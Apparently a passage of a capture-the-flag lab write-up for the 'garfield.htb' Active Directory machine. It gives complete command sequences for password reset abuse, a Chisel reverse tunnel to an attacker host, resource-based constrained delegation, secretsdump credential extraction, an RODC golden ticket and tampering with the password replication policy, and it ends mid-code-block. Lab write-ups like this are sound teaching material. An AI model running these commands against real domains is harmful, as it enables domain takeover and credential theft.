- It is worth distinguishing the two permissions involved in this attack:
  - `SYSVOL` `write` access allows the payload file to be placed in the `scripts` directory.
  - Active Directory `WriteProperty` access allows the `scriptPath` attribute on `l.wilson` to be modified.

### Obtaining the Reverse Shell

- Once the configured logon script is processed, the reverse shell payload connects back to the listener.

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/930e347d-54d0-432c-bd55-2906c00df7ef.png align="center")

- **Success**. The initial account has been used to obtain a shell as `l.wilson`.
- Profile enumeration does not reveal anything particularly useful at this stage.
- However, there is no need to abandon the enumeration findings collected earlier. **BloodHound** already identified a valuable relationship: `l.wilson` has `ForceChangePassword` permission over `l.wilson_adm`
- This permission provides a direct route to resetting `l.wilson_adm`’s password.

## Getting a Shell as L.WILSON_ADM

### Abusing `ForceChangePassword` to Take over l.wilson_adm

- The `ForceChangePassword` right allows a principal to reset another account’s password without supplying the existing password.
- Since the current shell runs as `garfield\l.wilson`, and **BloodHound** identified the required relationship, the Active Directory PowerShell module `Set-ADAccountPassword` can be used to perform the reset.
- First, create a secure string containing the new password:

```sh
$NewPass = ConvertTo-SecureString "P@ssw0rd123" -AsPlainText -Force
```

- The `ConvertTo-SecureString` cmdlet converts the plaintext password into a `SecureString` object, which is accepted by the Active Directory password-management cmdlets.
- Next, reset the password of `l.wilson_adm`:

```sh
Set-ADAccountPassword -Identity "l.wilson_adm" -Reset -NewPassword $NewPass
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/48c0a146-b7b8-4001-b98b-bdae5e390b7d.png align="center")

- The successful execution demonstrates that the current account has sufficient rights to perform the reset.

### Validating the New Credentials

- After resetting the password, the new credentials need to be tested against the available services.
- **SMB Authentication:**

```sh
nxc smb DC01.garfield.htb -u l.wilson_adm -p 'P@ssw0rd123'
```

- The authentication succeeds.
- **LDAP Authentication:**

```sh
nxc ldap DC01.garfield.htb -u l.wilson_adm -p 'P@ssw0rd123'
```

- The output confirms successful authentication.
- **WinRM Authentication:**

```sh
nxc winrm DC01.garfield.htb -u l.wilson_adm -p 'P@ssw0rd123'
```

- Authentication succeeds and the account can obtain a remote session.
- **RDP Authentication**

```sh
nxc rdp DC01.garfield.htb -u l.wilson_adm -p 'P@ssw0rd123'
```

- Although the credentials are valid, the RDP authentication test fails.

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/f6335ca9-5034-4093-a990-5f1d4586f8a8.png align="center")

### Obtaining a Shell Using Evil-WinRM

- Since **NetExec** confirmed that `l.wilson_adm` could authenticate over **WinRM**, `Evil-WinRM` can be used to establish an interactive PowerShell session:

```sh
evil-winrm -i DC01.garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' 
```

- The connection is established successfully.
- The shell confirms that the session is running as `garfield\l.wilson_adm`.

### Retrieving the User Flag

Investigating the Desktop directory through directory listing we get the **user flag**.

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/d30040e4-b78c-423b-a24a-b00a850d0f1c.png align="center")

### Enumerating the Network Interfaces

- Recall that earlier **NetExec** interface enumeration identified a second network interface on `DC01`, configured with the address `192.168.100.1`. This is worth investigating because it suggests that the domain controller is connected to an additional network segment:

```sh
ipconfig /all
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/0a741030-4d0b-45fb-9aeb-074d508bc712.png align="center")

- The `192.168.100.1` address belongs to a private network connected through a **Hyper-V** virtual switch. This is consistent with the earlier interface enumeration and suggests that `DC01` has connectivity to an internal network seperate from the externally reachable lab network.

### Discovering the RODC Through DNS Enumeration

- The next step is to investigate the domain’s DNS records.
- **BloodyAD** provides a **DNS dump** capability that can retrieve records from an Active Directory-integrated DNS zone:

```sh
bloodyad --host DC01.garfield.htb -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' get dnsDump --zone garfield.htb
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/7ba7558e-4f98-43fc-9ebd-41e384f8b7f3.png align="center")

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/622acf00-e57f-4f5a-8a50-e432c2688d9c.png align="center")

- This confirms that `RODC01` resolves to `192.168.100.2`, placing it on the same network as the **Hyper-V** interface on `DC01`**.**
- This is a significant finding because the **RODC’s** address belongs to an internal network that has not been directly exposed through the attacker’s initial access path.
- The DNS dump therefore provides the missing information needed to investigate the second domain controller.

### Testing Connectivity to RODC01

- Since the current shell is running on `DC01`, connectivity to the internal `RODC01` can be tested directly:

```sh
ping RODC01
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/bbb849d5-3fad-4cb9-b988-9a0f7a106a9e.png align="center")

- The hostname resolves successfully.
- The successful replies confirm that `DC01` can reach `RODC01` over the internal network.
- This also confirms that the address discovered through DNS is active and that the two systems can communicate over the internal segment.

### Updating the Attacker’s Hosts File

- To make it easier to reference the `RODC` hostname from the attacking machine, add its internal address to `/etc/hosts`:

```sh
echo "192.168.100.2     RODC01.garfield.htb garfield.htb RODC01" | sudo tee -a /etc/hosts
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/6e162700-ef14-467d-89e2-88e42abc587b.png align="center")

- This makes the hostname available for local name resolution on the attacking machine.
- However, updating `/etc/hosts` only resolves the hostname to an IP address. It does not create a network route to `192.168.100.2`. Since the internal address is not directly reachable from the attacker’s network, a tunnel through `DC01` is required.

## Establishing an Internal Network Tunnel with Chisel

- To communicate with the internal **RODC** from the attacking machine, `Chisel` is used to create a **reverse SOCKS tunnel**.
- `Chisel` is a **tunnelling utility** that transports network connections over HTTP and WebSocket-Compatible communication. Its reverse tunnelling functionality allows a client running on a compromised host to establish a connection back to an attacker-controlled server and expose a SOCKS proxy on the attacker’s machine.
- In this scenario:
  - *The attacker machine runs the Chisel server.*
  - *DC01 runs the Chisel client.*
  - *The reverse tunnel exposes a SOCKS5 proxy on the attacker machine.*
  - *Traffic sent through the proxy can be routed through DC01 toward the internal network.*
- Both Linux and Windows versions of Chisel are required.

### Downloading the Linux Version

```sh
wget "https://github.com/jpillora/chisel/releases/download/v1.12.0/chisel_1.12.0_linux_amd64.gz" 
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/f32aa6bc-c301-40b3-b66c-f213ec7e6b59.png align="center")

- **Extracting Chisel:**

```sh
7z x chisel_1.12.0_linux_amd64.gz 
```

- **Making Chisel Binary Executable:**

```sh
chmod +x chisel 
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/9808ddc9-636f-44d4-81e8-bc0029b2e0ca.png align="center")

### Downloading the Windows Version

```sh
wget "https://github.com/jpillora/chisel/releases/download/v1.12.0/chisel_1.12.0_windows_amd64.zip"
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/506bc5da-c961-4bad-904a-281c28e82ebc.png align="center")

- **Extracting Chisel:**

```sh
7z x chisel_1.12.0_windows_amd64.zip
```

### Serving the Windows Binary

- A simple **Python HTTP server** can be used to transfer `chisel.exe` to the compromised host:

```sh
python -m http.server
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/de2719ac-d0f9-42d0-ad6c-bf0beac07be7.png align="center")

### Uploading Chisel to DC01

- Return to the `Evil-WinRM` session running as `l.wilson_adm`.
- Move to the `C:\ProgramData`:

```sh
cd C:\ProgramData
```

- Download the Windows executable from the attacker’s HTTP server:

```sh
curl "http://10.10.14.162:8000/chisel.exe" -o chisel.exe
```

- The file is saved locally.
- To verify successful and complete download a hash of the executable file can be calculated on the attacker machine:

```sh
md5sum chisel.exe
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/66dc8ef0-8068-44c6-9e0e-56eb62258145.png align="center")

- Calculating the hash on the **DC01** of the uploaded `chisel.exe`:

```sh
Get-FileHash chisel.exe -Algorithm MD5
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/22c7292f-3806-43bc-ad8d-f44ca6a066e0.png align="center")

- The hashes matches!

### Configuring the Reverse SOCKS Tunnel

- With both binaries in place, the next step is to establish the tunnel.
- On the attacking machine, start Chisel in **server mode**:

```sh
./chisel server -p 8001 --reverse --socks5
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/a6e45b96-98eb-4456-b609-7763cab26fec.png align="center")

- The server starts successfully and waits for the Windows client to connect.
- Back in the `Evil-WinRM` session, execute the Windows binary:

```sh
.\chisel.exe client 10.10.14.162:8001 R:socks
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/b10edc2e-0715-4953-83bd-8c394ecec81e.png align="center")

- The command instructs the client to connect to the Chisel server at `10.10.14.162:8001` and request a reverse SOCKS proxy.
- Chisel client successfully connected to the server.
- The attacker’s Chisel server also confirms that the reverse SOCKS listener has been established.
- Traffic directed through this proxy can now travel through the Chisel connection to **DC01**, allowing the attacker to investigate services on networks accessible from the compromised host.
- At this point, the tunnel has been established. The internal `RODC` at `192.168.100.2` is the next target for further enumeration.

## Gaining Additional Privileges on RODC01

- With the Chisel SOCKS tunnel established, the next step is to access the **Read-Only Domain Controller** (`RODC01`) through `proxychains`. Although the account `l.wilson_adm` has already provided access to `DC01`, the `RODC` presents a different attack surface, particularly around its Active Directory permissions and delegated administrative roles.

### Accessing RODC01 Through SOCKS Proxy

- Using `proxychains`, an `Evil-WinRM` session can be initiated against `RODC01`:

```sh
proxychains -q evil-winrm -i RODC01.garfield.htb -u l.wilson_adm -p 'P@ssw0rd123'
```

- The `-q` option suppresses unnecessary **ProxyChains** output, keeping the terminal focused on the connection and command results.
- Once connected, the identity and hostname are verified as `garfield\l.wilson_adm` and `RODC01` respectively.
- Checking the privileges assigned to the current security token, we only have **three** enabled privileges:

```sh
whoami /priv
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/9b74d789-2cee-4ea1-9a53-d83f7e18e411.png align="center")

### Enumerating Writable Active Directory Permissions

- The next step is to examine the Active Directory objects that `l.wilson_adm` can modify:

```sh
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get writable
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/a5259dd1-6d47-4e92-bcb5-4168e61ab91d.png align="center")

- The most interesting entry is the **RODC** computer object. It indicates that the account has write access to the `RODC01` object. However, a generic `WRITE` result does not tell us precisely which attributes can be modified. To understand the available attack surface, the permission need to be enumerated in greater detail:

```sh
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get writable --detail
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/e62f7011-b491-4e1f-aee0-c0825d0283d4.png align="center")

- The `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute is usually associated with **Resource-Based Constrained Delegation (RBCD)**. We’ll come back to this later.
- The presence of writable attributes does not automatically mean every associated attack technique is immediately viable. For this attack path, however, the **RODC’s** relationship with `RODC Administrators` group becomes particularly interesting.

### Establishing a Baseline for Permission Changes

- Before modifying group membership, it is useful to save the current permissions to a file. This provides a baseline against which subsequent changes can be compared:

```sh
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get writable --detail > before_writable_permissions.txt
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/d812dda8-0bad-4e33-b469-710c89ca43cc.png align="center")

- Instead of relying on memory or manually inspecting two lengthy outputs, a simple **diff** can reveal exactly what changed.

### Adding l.wilson_adm to RODC Administrators

- The next observation comes from **BloodHound**, which identified that `l.wilson_adm` can be added to the **RODC Administrators** group.
- This is particularly interesting because membership in this group can provide *delegated administrative control* over the **Read-Only Domain Controller**:

```sh
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' add groupMember "RODC Administrators" l.wilson_adm 
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/ebdd31ab-20f2-431e-8038-14b3b872530b.png align="center")

- The operation succeeds.
- With the account now added to the group, the writable permissions are enumerated again:

```sh
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get writable --detail
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/bf0fb8dd-e25c-44e2-b0e6-35bf13b93972.png align="center")

- Two newly visible attributes deserve particular attention:
  - `msDS-RevealOnDemandGroup`: Controls which security principals are permitted to have their passwords replicated to the RODC on demand.
  - `msDS-NeverRevealGroup`: Defines security principals whose credentials must never be replicated on the RODC.
- The `managedBy` attribute is also now writable. This attribute identifies the security principal responsible for managing an Active Directory Object.
- The appearance of these additional permissions is significant. Adding `l.wilson_adm` to `RODC Administrators` has expanded the account’s effective ability to modify the **RODC’s** Active Directory configuration.
- To identify the exact changes, the updated permissions are saved to another file:

```sh
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get writable --detail > after_writable_permissions.txt
```

- The two files can the be compared using `diff`:

```sh
diff before_writable_permissions.txt after_writable_permissions.txt`
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/456fe101-014e-4036-a6c2-21d4304741e0.png align="center")

- This confirms that the additional writable attributes appeared after the group membership change.
- The important takeaway is that group membership is not merely an *administrative label*. It can alter the permissions associated with an account, exposing new opportunities for modifying Active Directory Objects.

### Verifying the RODC Administrators Permissions with NetExec

- To get a closer look at the underlying **Access Control Entries (ACEs)** **NetExec’s** `daclread` module can be used:

```sh
nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -M daclread -o TARGET='RODC01$' PRINCIPAL='RODC Administrators'
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/ff83c02a-ff0a-4621-91ae-2979f7d1c39f.png align="center")

- The `ACE[4]` grants the `RODC Administrators` group both read and write access to the `managedBy` attribute.
- The next entries confirm similar permissions for the two RODC password replication attributes `msDS-RevealOnDemandGroup` and `msDS-NeverRevealGroup`.

### Modifying the `managedBy` Attribute

- With the write access to `managedBy` confirmed, the next step is to assign `l.wilson_adm` as the manager of the `RODC01` computer object.
- First, retrieve the **Distinguished Name (DN)** of the account:

```sh
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object l.wilson_adm --attr distinguishedName`
```

- Next, inspect the current `managedBy` value of the `RODC01` computer account:

```sh
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object RODC01$ --attr managedBy
```

The `managedBy` attribute can now be updated to reference the distinguished name of `l.wilson_adm`:

```sh
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' set object RODC01$ managedBy -v "CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb"
```

- The modification was successful.
- To verify the change, query the attribute again:

```sh
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object RODC01$ --attr managedBy
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/d135a177-0858-4353-b3bb-8e829912d660.png align="center")

- The output confirms that `l.wilson_adm` is now recorded as the manager of the `RODC01` computer object.
- The modification is important because the `managedBy` relationship is tied to the delegated permissions exposed through the **RODC Administrators** group.

### Refreshing the Session to Obtain the Updated Privileges

- The Active Directory changes have now been made, but the existing `Evil-WinRM` session was established before the group membership and object modifications.
- Windows access tokens are created when a *logon session is established*. Changes to group membership do not necessarily appear in an already-existing token. Therefore, the current session needs to be closed and a new one established so that the updated group membership can be reflected.
- Exit the current session and reconnect to **RODC01** through the **SOCKS proxy**:

```sh
proxychains -q evil-winrm -i RODC01.garfield.htb -u l.wilson_adm -p 'P@ssw0rd123'
```

- Once connected, enumerate the privileges again:

```sh
whoami /priv
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/02492e99-8191-4ece-a56f-d1ab826066f9.png align="center")

- The difference is substantial. The new session exposes a much larger set of enabled privileges.
- These privileges significantly expand the available attack surface.

## Dumping RODC Secrets and Exploiting Resource-Based Constrained Delegation

- With the expanded privileges on **RODC01**, the next objective is to extract credentials and investigate whether the **Read-Only Domain Controller** can be leveraged to obtain a privileged session.

### Attempting to Dump Secrets from RODC01

- The initial attempt uses `impacket-secretsdump` through the established SOCKS proxy:

```sh
proxychains -q impacket-secretsdump 'l.wilson_adm:P@ssw0rd123@RODC01.garfield.htb'
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/0bce46cd-41e3-4c6c-9df2-d2ec6f197b47.png align="center")

- The tool successfully connects to the target, starts the **Remote Registry service** and retrieves several **local secrets**.
- The output confirms that the Local `Security Account Manager` (SAM) database has been accessed. It also retrieves `LSA` secrets, including the machine account credentials for `RODC01$`, `DPAPI` system keys and the `NL$KM` secret.
- However, the important part comes when **Impacket** attempts to retrieve domain credentials form the Active Directory database. The **DRSUAPI** approach fails, and the tool explicitly recommends trying the **Volume Shadow Copy Service (VSS)** method.
- Most importantly, this attempt **does not** retrieve the expected **privileged domain credentials**.

### Using the VSS Method

- Following Impacket’s recommendation, the command is repeated with the `-use-vss` option:

```sh
proxychains -q impacket-secretsdump 'l.wilson_adm:P@ssw0rd123@RODC01.garfield.htb' -use-vss
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/c3d481ce-3960-4ccc-b164-12b21b13e628.png align="center")

- This time the process progresses further.
- After retrieving the local SAM and LSA secrets, **Impacket** locates the Active Directory database.
- The `-use-vss` option instructs Impacket to use **Volume Shadow Copy Service** to obtain a copy of `NTDS.dit`, rather than relying on the **DRSUAPI** replication method.
- Once the database has been copied, **Impacket** proceeds to extract and decrypt the stored password hashes.
- Although the **VSS** method successfully retrieves the database contents, the result does not provide a usable Domain Administrator password hash.
- The output contains several accounts with the well-known empty NT hash `31d6cfe0d16ae931b73c59d7e0c089c0`.
- An **RODC** maintains a password replication policy that determines which account credentials can be cached locally. It does not behave like a writable domain controller with an unrestricted copy of all domain credentials. Consequently, extracting `NTDS.dit` from the RODC does not guarantee that every domain account’s actual password hash will be available.
- The presence of `krbtgt_8245` with a **non-empty NT hash** is worth noting because **RODCs** use a separate `KRBTGT` account for their Kerberos operations.
- The important conclusion is that the **VSS** approach successfully extracts the available database contents, but it does not provide the desired privileged credentials. A different attack path is needed.

### Creating a Computer Account

- The earlier enumeration revealed that `l.wilson_adm` can modify the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute on the **RODC01** computer object.
- This attribute is central to **Resource-Base Constrained Delegation (RBCD)**. It controls which security principals are permitted to act on behalf o other identities when accessing services hosted by the target computer.
- To exploit this configuration, a computer account is first created. Active Directory commonly allows authenticated domain users to create a limited number of computer accounts, depending on the domain’s `ms-DS-MachineAccountQuota` setting.
- The following command creates a computer account name `NATO$` with the specified password:

```sh
impacket-addcomputer -computer-name NATO$ -computer-pass 'P@ssw0rd123' -dc-ip DC01.garfield.htb 'garfield.htb/l.wilson_adm:P@ssw0rd123'
```

- The operation succeeds. The newly created computer account will serve as the **delegation principal** in the **RBCD attack**.

### Configuring Resource-Based Constrained Delegation

- With the `NATO$` computer account created, the next step is to configure **RBCD** on **RODC01**.
- The `impacket-rbcd` utility can modify the target computer’s `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute:

```sh
impacket-rbcd -delegate-to 'RODC01$' -delegate-from 'NATO$' -action write -dc-ip DC01.garfield.htb 'garfield.htb/l.wilson_adm:P@ssw0rd123'
```

### Synchronizing the Attacker’s Clock

- Before requesting **Kerberos service tickets**, the attacking machine’s clock needs to be synchronized with the domain controller:

```sh
sudo ntpdate DC01.garfield.htb
```

### Requesting a Service Ticket as Administrator

- **Impacket’s** `getST` utility supports the **S4U extensions** to Kerberos, allowing newly created computer account to request a service ticket on behalf of another user:

```sh
impacket-getST -spn cifs/RODC01.garfield.htb -impersonate administrator 'garfield.htb/NATO$:P@ssw0rd123'
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/854027b3-c9b5-4c98-abd5-ef3dcbd3cba3.png align="center")

- The tool successfully obtains a `Ticket-Granting Ticket (TGT)` for `NATO$`, performs the `S4U2Self` request and then requests an `S4U2Proxy` service ticket for the `CIFS` service while impersonating `administrator`.
- This ticket can now be used to authenticate to the **CIFS** service on **RODC01** as the impersonated identity, subject to the target service accepting the ticket and the account’s applicable authorization.

### Generating a Kerberos Configuration File

- For Kerberos authentication to work reliably from the attacking machine, the client needs to know which **realm** and **Key Distribution Center (KDC)** to use:

```sh
nxc smb DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --generate-krb5-file garfield_krb5.conf
```

- To make the configuration available to Kerberos-aware tools, export the `**KRB5_CONFIG**` environment variable:

```sh
export KRB5_CONFIG=garfield_krb5.conf
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/365cbf48-cc06-47f7-88f1-47c05a5dbfce.png align="center")

### Obtaining a SYSTEM Shell on RODC01

- With the service ticket available, the next step is to use it to authenticate to **RODC01** through impacket’s `psexec`.
- The `KRB5CCNAME` variable specifies the **Kerberos credential cache** containing the impersonation ticket:

```sh
KRB5CCNAME=administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache proxychains -q impacket-psexec RODC01.garfield.htb -k
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/ee62e9a9-6073-4b61-8fcb-a47b424f33f6.png align="center")

- The results confirms that the **RBCD attack** has successfully provided a **SYSTEM-level** shell on **RODC01**.
- Despite having obtained a SYSTEM shell, the expected root flag could be not be located. (*Maybe it is because it is a SYSTEM-level shell on a* ***Read-Only Domain Controller****🤷‍♂️ I’m not sure about this🤦‍♂️*)

## Investigating the RODC Password Replication Policy

- With SYSTEM access established on **RODC01**, the next step is to investigate the relationship between its Read-Only Domain Controller (RODC) account and its associated Kerberos service account `krbtgt_8245`**:**

```sh
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object krbtgt_8245
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/9c57f6c7-23f5-4ef2-969a-5dddae8b5704.png align="center")

- Two attributes are particularly interesting:
  - `msDS-KrbTgtLinkBl` identifies the **RODC** associated with this Kerberos service account. Here, it points to **RODC01**.
  - `msDS-RevealedDSAs` records the **Directory Service Agents (DSAs)** to which credentials have been revealed. The repeated **RODC01** entries indicate that this **RODC** is associated with the recorded credential-revelation activity.
- The `msDS-SecondaryKrbTgtNumber` attribute also confirms the **RODC**\-specific identifier `8245`.
- These attributes establish the relationship between `krbtgt_8245` and `RODC01`.

### Obtaining a Custom [ticketer.py](http://ticketer.py)

- The next step involves generating a Kerberos ticket using the **RODC-specific** `krbtgt` hash obtained earlier.
- The standard Impacket `ticketer.py` supports **Golden Ticket** generation, but the version used here is retrieved from a specific commit that supports **RODC Golden Ticket** mode.
- Download the script:

```sh
wget "https://raw.githubusercontent.com/fortra/impacket/b12b2f3b00315d32ce27461caf8dccfe1aaebe6d/examples/ticketer.py"
```

- Verify the downloaded file and make it executable:

```sh
chmod +x ticketer.py
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/215d8ee1-be99-4644-a6a8-11edcc63c17e.png align="center")

### Retrieving the Domain SID

- Ticket generation requires the **Domain SID**. This can be obtained from the `objectSid` attribute of any domain security principal:

```sh
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object l.wilson_adm --attr objectSid
```

- A **domain user’s SID** consists of the domain SID followed by the user’s **Relative Identifier (RID)**. Therefore, removing the final **RID** (`3107`) gives the **Domain SID**.

### Generating an RODC Golden Ticket

- With the **domain SID** and the previously extracted `krbtgt_8245` NT hash available, the custom `ticketer.py` can be used to generate a ticket for the domain administrator:

```sh
./ticketer.py -domain garfield.htb -domain-sid S-1-5-21-2502726253-3859040611-225969357 -nthash 445aa4221e751da37a10241d962780e2 -rodcNo 8245 Administrator
```

- The command instructs the script to generate an **RODC-specific Golden Ticket**, encoding the RODC number into the ticket’s **Kerberos version number (KVNO)** through the option `-rodcNo`.
- The output confirms that the ticket was created and saved as `Administrator.ccache`.

### Attempting to Dump Domain Secrets

- With the ticket generated, an attempt was made to authenticate to **DC01** and perform a secrets dump:

```sh
KRB5CCNAME=Administrator.ccache impacket-secretsdump -k -no-pass DC01.garfield.htb
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/6b0d34d1-53e0-4f46-9214-be80e8be097d.png align="center")

- However, the attempt failed.

### Modifying the RODC Password Replication Policy

- An **RODC** does not replicate every domain credential by default. Instead, its **Password Replication Policy (PRP)** determines which accounts are permitted to have their credentials cached on the **Read-Only Domain Controller** and which accounts are explicitly prohibited.
- Two Active Directory attributes control the relevant group-based policy:
  - `msDS-NeverRevealGroup`: defines groups whose credentials must never be replicated to the **RODC**.
  - `msDS-RevealOnDemandGroup`: defines groups whose credentials may be replicated to the RODC when requested.
- The next step is to inspect these attributes on the `**RODC01$**` computer account.

### Examining the RODC Computer Account

- Retrieve the properties of `RODC01$`:

```sh
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object RODC01$
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/3bd2c2e2-c94f-41d9-b2eb-f4d456ba1353.png align="center")

- The output confirms that `RODC01$` is linked to `krbtgt_8245` and exposed the two password replication policy attributes.
- The existing configuration has several groups in the **Never Reveal** list, including `Administrators`, `Backup Operators` and `Server Operators`. Meanwhile, the **Reveal On Demand** list contains only the **Allowed RODC Password Replication Group**.
- This configuration is significant because membership in the **Domain Admins** group does not automatically make its credentials available to an **RODC**. The password replication policy must permit the credentials to be cached and accounts covered by the **Never Reveal** policy remain protected from replication.

### Inspecting the Existing PRP Attributes

- Before modifying anything, retrieve each attribute independently to establish its current value.
- First, inspect `msDS-NeverRevealGroup`:

```sh
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object RODC01$ --attr msDS-NeverRevealGroup
```

- The output confirms the existing protected groups.
- Next, inspect `msDS-RevealOnDemandGroup`:

```sh
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object RODC01$ --attr msDS-RevealOnDemandGroup
```

### Removing the Never Reveal Restrictions

- The `l.wilson_adm` account has sufficient permissions to modify the relevant attributes on the `RODC01$` object.
- The first modification clears the `msDS-NeverRevealGroup` attribute:

```sh
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' set object RODC01$ msDS-NeverRevealGroup
```

- Verify that the attribute is now empty:

```sh
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object RODC01$ --attr msDS-NeverRevealGroup
```

- The result contains only the distinguished name.
- The absence of an `msDS-NeverRevealGroup` value confirms that the attribute has been cleared.
- This removes the group-based exclusions previously configured on the **RODC**. It is a significant policy change, particularly because the original list explicitly included privileged groups.

### Adding Domain Admins to the Reveal on Demand Group

- The next modification changes the group permitted to have credentials revealed to the **RODC**.
- First, retrieve the distinguished name of the `Domain Admins` group:

```sh
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object "Domain Admins" --attr distinguishedName
```

- The output provides the required **DN**.
- With that value available, update `msDS-RevealOnDemandGroup` on `RODC01$`:

```sh
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' set object RODC01$ msDS-RevealOnDemandGroup -v 'CN=Domain Admins,CN=Users,DC=garfield,DC=htb'
```

- The operation succeeds.
- Verify the updated attribute:

```sh
bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get object RODC01$ --attr msDS-RevealOnDemandGroup
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/ef06028c-1650-4ce3-9d98-970c6540196c.png align="center")

- The policy now identifies Domain Admins as the group whose credentials may be revealed to `RODC01` on demand.

## Dumping Domain Secrets and Recovering Administrator Credentials

- With the **RODC Password Replication Policy** modified, the next step is to revisit the secrets dump against the writable domain controller, `DC01`.

### Dumping Secrets Using the RODC Golden Ticket

- The first attempt uses the generated `Administrator.ccache` file to authenticate to `DC01`:

```sh
KRB5CCNAME=Administrator.ccache impacket-secretsdump -k -no-pass DC01.garfield.htb
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/9c8c4551-d428-4959-984f-b5ebd07643eb.png align="center")

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/33b86c6c-df2d-4dd7-b7fe-f1ee591e81fb.png align="center")

- This time, the operation successfully retrieves a substantial amount of credential material, including ***local SAM hashes***, ***LSA secrets***, ***domain account hashes*** and ***Kerberos encryption keys***.
- The dump also reveals the **Administrator’s NT hash** and an **LSA secret** named `DefaultPassword` that exposes the **Administrator’s plaintext password**.
- The tool also exits with some errors.

### Repeating the Dump using the Volume Shadow Copies

- To avoid the cleanup issues and use an alternative extraction method, repeat the operation with the `-use-vss` option:

```sh
